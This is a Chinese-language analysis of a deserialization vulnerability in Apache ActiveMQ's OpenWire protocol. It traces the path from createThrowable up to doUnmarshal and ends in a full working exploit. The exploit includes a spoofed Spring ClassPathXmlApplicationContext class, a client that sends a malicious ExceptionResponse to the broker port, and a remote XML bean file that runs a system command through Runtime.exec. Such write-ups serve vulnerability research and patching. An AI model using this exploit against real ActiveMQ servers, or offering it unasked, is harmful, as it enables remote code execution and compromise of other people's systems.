一、漏洞觸發點
org.apache.activemq.openwire.v12包下BaseDataStreamMarshaller類的createThrowable方法。
package org.apache.activemq.openwire.v12;
BaseDataStreamMarshaller類
private Throwable createThrowable(String className, String message) {
try {
Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());
Constructor constructor = clazz.getConstructor(new Class[] {String.class});
return (Throwable)constructor.newInstance(new Object[] {message});
} catch (Throwable e) {
return new Throwable(className + ": " + message);
}
}
這裏通過反射,實現了一個類的構造執行。所以需要找到這樣一個類傳遞進去,類的構造方法參數爲String,且能達到攻擊效果。
activemq包含Spring,而ClassPathXmlApplicationContext類剛好能滿足。
public class MainClassPathXmlApplicationContext {
public static void main(String[] args) throws Exception {
ClassPathXmlApplicationContext classPathXmlApplicationContext = new ClassPathXmlApplicationContext();
Class aClass = Class.forName(classPathXmlApplicationContext.getClass().getName(), false, classPathXmlApplicationContext.getClassLoader());
Constructor constructor = aClass.getConstructor(new Class[]{String.class});
constructor.newInstance(new Object[]{"http://127.0.0.1:7777/poc.xml"});
}
}
二、觸發流程
createThrowable的觸發來源兩處
- org.apache.activemq.openwire.v12.BaseDataStreamMarshaller.tightUnmarsalThrowable
- org.apache.activemq.openwire.v12.BaseDataStreamMarshaller.looseUnmarsalThrowable
tightUnmarsalThrowable和looseUnmarsalThrowable的作用是將字節流反序列化爲異常對象,並將其拋出。在 ActiveMQ 的消息傳遞過程中,異常對象可以用於在消息發送和接收之間傳遞錯誤信息或異常狀態。通過將異常對象序列化並作爲消息的一部分發送,接收方可以獲取到發送方拋出的異常,並反序列化後處理。
這兩處繼續往上尋找觸發點,一共有三處,也就是捕獲異常對象是這三種類就可以觸發tightUnmarsalThrowable或looseUnmarsalThrowable:
- ConnectionErrorMarshaller
- ExceptionResponseMarshaller
- MessageAckMarshaller
三類都存在tightUnmarshal和looseUnmarshal方法,兩個方法分別觸發tightUnmarshal和looseUnmarsalThrowable。
繼續向上尋找,觸發均來自OpenWireFormat類的doUnmarshal,該方法是OpenWire協議的反序列化方法。
在doUnmarshal中,根據dataType索引值對應的類,來執行對應類的tightUnmarshal或looseUnmarshal。
public Object doUnmarshal(DataInput dis) throws IOException {
byte dataType = dis.readByte();
if (dataType != NULL_TYPE) {
DataStreamMarshaller dsm = dataMarshallers[dataType & 0xFF];
if (dsm == null) {
throw new IOException("Unknown data type: " + dataType);
}
Object data = dsm.createObject();
if (this.tightEncodingEnabled) {
BooleanStream bs = new BooleanStream();
bs.unmarshal(dis);
dsm.tightUnmarshal(this, data, dis, bs);
} else {
dsm.looseUnmarshal(this, data, dis);
}
return data;
} else {
return null;
}
}
dataType在dataMarshallers中對應的上述三種類索引如下:
- ConnectionErrorMarshaller---16
- ExceptionResponseMarshaller---31
- MessageAckMarshaller---22
doUnmarshal再往上就是unmarshal,這也是所有數據接收的入口。
通過這裏的分析,只要我們將ConnectionErrorMarshaller、ExceptionResponseMarshaller、MessageAckMarshaller三種類型的對象序列化傳給ActiveMQ的OpenWire協議接口,就可以讓ActiveMQ在接收後進行反序列化,觸發createThrowable。
三、傳遞的對象類型
通過上述知道dataType需要爲16、31、22。當發送的對象類爲ConnectionError、ExceptionResponse、MessageAck的時候dataType分別是16、31、22。
而這三個類接收的exception參數需要繼承Throwable,所以可以在本地構造一個與Spring同路徑名的ClassPathXmlApplicationContext類並繼承Throwable,當ClassPathXmlApplicationContext對象發送後,類路徑和message會被解析,最後服務器側通過類路徑反射得到Spring中的ClassPathXmlApplicationContext對象,達到攻擊效果。
package org.springframework.context.support;
public class ClassPathXmlApplicationContext extends Throwable{
public ClassPathXmlApplicationContext(String message) {
super(message);
}
}
四、如何發送序列化對象
Transport的oneway可實現對象發送,ActiveMQ的連接對象爲ActiveMQConnection類,通過使用ActiveMQConnection類中asyncSendPacket最終調用Transport的oneway,來發送惡意對象。
((ActiveMQConnection)connection).asyncSendPacket(exceptionResponse);
五、利用方式
遠程XML文件
<?xml version="1.0" encoding="utf-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="runtime" class="java.lang.Runtime" factory-method="getRuntime" />
<bean id="process" factory-bean="runtime" factory-method="exec">
<constructor-arg value="cmd /c start calc" />
</bean>
</beans>
ClassPathXmlApplicationContext類
package org.springframework.context.support;
public class ClassPathXmlApplicationContext extends Throwable{
public ClassPathXmlApplicationContext(String message) {
super(message);
}
}
最終實現
import javax.jms.*;
public class Main {
private static final String ACTIVEMQ_URL = "tcp://127.0.0.1:61616";
public static void main(String[] args) throws Exception {
ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(ACTIVEMQ_URL);
Connection connection = activeMQConnectionFactory.createConnection();
connection.start();
Throwable obj = new ClassPathXmlApplicationContext("http://127.0.0.1:7777/poc.xml");
ExceptionResponse exceptionResponse = new ExceptionResponse(obj);
// ConnectionError connectionError = new ConnectionError();
// connectionError.setException(obj);
// MessageAck messageAck = new MessageAck();
// messageAck.setPoisonCause(obj);
((ActiveMQConnection)connection).asyncSendPacket(exceptionResponse);
connection.close();
}
}